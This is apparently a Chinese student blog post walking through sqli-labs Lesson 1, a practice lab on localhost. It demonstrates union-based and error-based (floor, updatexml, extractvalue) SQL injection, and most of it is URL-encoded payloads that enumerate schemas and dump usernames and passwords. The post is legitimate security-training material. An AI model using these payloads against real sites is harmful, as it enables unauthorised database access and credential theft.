• sqli-labs(1)


     0x01字符注入

    今天是第一天的学习sqli-labs

    Lesson1:字符型注入

    首先测试一下 ' 发现报错  然后 ''发现 不报错 这种大概率就是字符注入了

    接下来我们进行列查询  查询语句

    http://127.0.0.1/sql1/Less-1/?id=1%27%20order%20by%204%23

    发现列数是3 这里后面之所以要用%23是因为这里我们的url在ger方式提交的时候要进行一次url转码 所以我们要让转码后的字符为#来闭合语句

    查看当前数据库名称

    http://127.0.0.1/sql1/Less-1/?id=%27%20union%20select%20null,database(),3%23

    查看所有数据库名称

    http://127.0.0.1/sql1/Less-1/?id=%27%20union%20select%20null,(select%20group_concat(schema_name)%20from%20information_schema.schemata),null%23

    接下来数据库名称得到以后我们要进行获取表名  操作语句 这里你会遇见 直接table_schema=你想查的数据库名 这样行不通 得把它转换为16进制在赋值给前面才能成功

    对16进制的解释、、、http://127.0.0.1/s/Less-1/?id=’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name=0x7573657273)%23
    http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23

    看到表名中有一个叫做users的表应该有点东西 接下来我们爆列名

    http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)%23

    可以看见里面有username password这些关键字 我们就可以爆字段了

    http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(username,0x3a,password)%20from%20users)%23

    成功爆出字段usernamepassword字段名   0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username。

    0x02手工报错型注入

    既然讲到这里 我们就来讲一下报错类型有些什么?

    以下学习来自https://blog.csdn.net/weixin_42277564/article/details/80635586这个大佬

    1、通过floor报错

    and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)

    注:输出字符长度限制为64个字符

    payload填sql语句

    2、通过updatexml报错

        and updatexml(1,payload,1)
        and updatexml(1,concat(0x7e,@@version,0x7e),1)注:输出字符有长度限制,最长32位

    3、通过ExtractValue报错

        and extractvalue(1, payload)
        and extractv注:输出字符有长度限制,最长32位alue(1, concat(0x7e,@@version,0x7e))

    我们简单的了解了报错型手工注入之后我们来进行实战

    先要检查报错类型的payload

    http://127.0.0.1/sql1/Less-1/?id=1%27%20and%201=1%23   ///并未报错
    http://127.0.0.1/sql1/Less-1/?id=1%27%20and%201=2%23  ///报错了

    证明确实存在手工报错型注入,

    爆表的payload 这里我们运用的是上面的报错的方法的第二种

    127.0.0.1/sql1/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23

    可以看见成功爆出表名 接下来我们进行列名的爆破

    http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)))%23

     这里发现这些并未显示完全 是因为这个报错最多就报错 32个字符 那我们可以用其他语句让他显示完全

    http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27and%20column_name%20not%20in%20(%27user_id%27,%27first_name%27,%27last_name%27,%27user%27,%27avatar%27,%27last_login%27,%27failed_login%27))))%23

    接下里就是爆值的操作

    http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users)))%23

     同样使用not in显示其他值

    http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users%20where%20username%20not%20in%20(%27Dumb%27,%27Angelina%27))))%23

    sqlmap这里我们就不讲了 基本上都会一把梭哈 嘿嘿

    切记 少就是多 快就是慢哦~~

  • 相关阅读:
    从网络通信角度谈web性能优化
    JavaScript对象的深浅复制
    Ajax原理、优缺点及应用场景
    细谈sass和less中的变量及其作用域
    动态样式语言—LESS
    js中创建对象的几种方式
    Node学习笔记---初识Node
    "一不小心就火了"团队采访
    部门管理系统需求规格说明书
    java利用iTextWorker生成pdf
  • 原文地址:https://www.cnblogs.com/-zhong/p/10877728.html
Copyright © 2020-2023  润新知